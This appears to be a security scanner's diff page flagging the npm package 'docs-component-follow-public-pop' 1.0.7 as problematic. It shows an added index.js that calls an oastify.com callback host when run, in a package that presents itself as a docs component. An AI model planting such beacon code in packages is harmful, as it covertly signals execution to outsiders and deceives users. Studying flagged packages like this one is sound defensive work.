docs-component-follow-public-pop 1.0.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of docs-component-follow-public-pop might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +12 -0
  2. package/package.json +19 -0
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const axios = require('axios');
2
+
3
+ async function fetchData() {
4
+ try {
5
+ const response = await axios.get('http://q7y0t4swfoa766j8ra0nn9pttkzbn4bt.oastify.com');
6
+ console.log(response.data);
7
+ } catch (error) {
8
+ console.error('Une erreur s\'est produite lors de la récupération des données:', error);
9
+ }
10
+ }
11
+
12
+ fetchData();
package/package.json ADDED
@@ -0,0 +1,19 @@
1
+ {
2
+ "name": "docs-component-follow-public-pop",
3
+ "version": "1.0.7",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "keywords": [
10
+ "package",
11
+ "exemple",
12
+ "npm"
13
+ ],
14
+ "author": "_Xml_",
15
+ "license": "MIT",
16
+ "dependencies": {
17
+ "axios": "^0.21.1"
18
+ }
19
+ }